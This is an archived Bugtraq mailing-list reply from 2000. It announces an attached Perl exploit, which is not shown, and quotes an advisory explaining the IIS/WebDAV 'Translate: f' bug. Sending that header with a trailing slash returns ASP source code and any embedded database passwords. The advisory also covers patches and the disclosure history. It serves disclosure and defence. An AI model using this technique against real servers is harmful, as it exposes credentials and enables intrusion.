OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Re: Translate:f summary, history and thoughts > Simple perl script exploit for the problem.
From: SMILER (smilerVXD.ORG)
Date: Thu Aug 17 2000 - 09:19:01 CDT

Find in attach simple perl script that exploits bellow described problem.

Keep Smiling.

smilervxd.org

----- Original Message -----
From: "Daniel Dočekal" <ddocMIA.CZ>
To: <BUGTRAQSECURITYFOCUS.COM>
Sent: Tuesday, August 15, 2000 7:39 PM
Subject: Translate:f summary, history and thoughts

> Because Microsoft went the way of HIDING the actual mechanism of
Translate:f
> from all of us (original KB article is gone and new Security Bulletin is
> playing nasty game of downplaying the problem), i have decided to write
> follow up with sufficient information.
>
> HOW IT WORKS
> -------------------------
>
> WebDAV implemented in Windows 2000 and Office 2000 (including FrontPage
2000
> and FrontPage 2000 Server extensions) is the source of Translate:f
problem.
>
> When someone makes request for ASP/ASA (or any other scriptable page) and
> adds "Translate: f" into headers of HTTP GET request (headers are _not_
part
> of URL, they are part of HTTP request), there is a serious security bug in
> Windows 2000 (unpatched by SP1) that in return gives complete ASP/ASA code
> instead of processed file (one has to add trailing slash "/" to end of
> requested url to have this really working).
>
> "Translate: f" is legitimate header for WebDAV, it is used as it should
be -
> adding this to HTTP GET is sign for WebDAV component to really return
SOURCE
> code of file and bypass processing. It is used in FrontPage2000 and any
> WebDAV compatible client to get file for editing. It has to be accompanied
> by some other information which should not let anynone access sources.
> Unfortunately, there is some mistake in coding, and simple adding of
"only"
> "Translate:f" and placing "/" at end of request to HTTP GET will lead in
> security bug (which now plagues every second web tested in URLcheck test
at
> security.namodro.cz).
>
> It is WINDOWS 2000 bug, but because of FrontPage Server Extensions 2000
> installed even on IIS 4.0 sites, it is also IIS 4.0 bug. Also worth of
note
> is that MANY IIS 4.0 sites will exhibit "Translate: f" bug when web files
> are stored on SHARED (network) directory - this has been reported to
> securemicrosoft.com the same time i started bombing them with information
> that there is BIG problem with "Translate: f" - and result of case at
> securemicrosoft.com :
>
> YES, IIS 4.0 is vulnerable, if files are located on shared drive - in that
> case, please apply fix for "Virtualized UNC Share" vulnerability (please
see
> MS00-019 for fixes). So even IIS 4.0 is _not_ safe from this problem.
>
> THE HISTORY
> ---------------------
>
> "Translate: f" bug was first made public around 5th of June 2000, at that
> time MS KB article Q256888 was released and was fully describing the
> mechanism. At 6th of June, there was a POSTFIX released as standalone EXE
> fixing the problem.
>
> At that point someone at Microsoft made big mistake, instead of releasing
> Security Bulletin and instead of notifying PREMIER SUPPORT customers, they
> just left this only with one Q256888 article. And it appears that most
> IIS4/IIS5 admins are just NOT checking Knowledge Base (we do, and Svet
> Namodro has released its own priority warning and we have patched our
> servers immediately).
>
> Then Service Pack 1 for Windows 2000 was released - the bug IS fixed by
> applying SP1 - but it is obvious, that nobody is in big hurry to apply
SP1.
> Result is - many well know web sites are having security problem and
showing
> business logic including passwords to databases.
>
> After sending many, many, mails to Microsoft (including
> securemicrosoft.com, Mr. Ballmer office, passing letter through support
at
> Czech Microsoft), there is result - it took TWO weeks to have new Security
> Bulletin out. And i have to say, that i am very disappointed. Microsoft is
> now HIDING the "Translate:f" nature from all of us (KB Q256888 was pulled
> from Knowledge Base) and Security Bulletin is downplaying the level of
> problem we are dealing with.
>
> LINKS
> ---------
>
> http://www.microsoft.com/technet/security/bulletin/ms00-058.asp
> Security bulletin talking about "Translate:f" but hiding this fact from
us,
> inside you will find POSTFIX URL which is
> http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769
>
>
http://support.microsoft.com/support/kb/articles/q256/8/88.ASP?LN=EN-US&SD=g
> n&FR=0
> Q256888 (now inaccessible) where original version was clearly talking
about
> "Translate:f" (curious how it will look when it is "rewritten").
>
>
http://download.microsoft.com/download/win2000srv/Patch/Q262259/NT5/EN-US/Q2
> 62259_W2K_SP1_X86_EN.EXE
> original US ENGLISH hotfix from 6th of June
>
> http://support.microsoft.com/support/kb/articles/q262/2/59.ASP
> another KB article showing link to Q256888 as :
> "Internet Information Service Returns Source of Active Server Pages File
> When Request Contains Translate:f and Ends with a Backslash" - maybe save
it
> for your kids to see how Microsoft changes history!
>
> http://security.namodro.cz/urlcheck.asp?lang=en
> English version of pages letting anyone to verify if his/her server is not
> vulnerable to Translate:f (and some other similar "url" related bugs).
>
> THOUGHTS
> -----------------
>
> Most important and dangerous aspect of bugs leading to source of ASP/ASA
is
> not in giving away your business logic. It is not worth of trying to
> download all ASP/ASA files and decode how something works. Most important
> aspect is in showing PASSWORDS to access SQL Server Databases and
LOCATIONS
> of Access databases. This is how sites are hacked and private sensitive
data
> are falling in hands of strangers.
>
> Even after YEARS of existence of ASP files, Microsoft did nothing to
remove
> one from most dangerous aspect - that ASP/ASA files are used for storing
> passwords and sensitive information.
>
> Daniel
>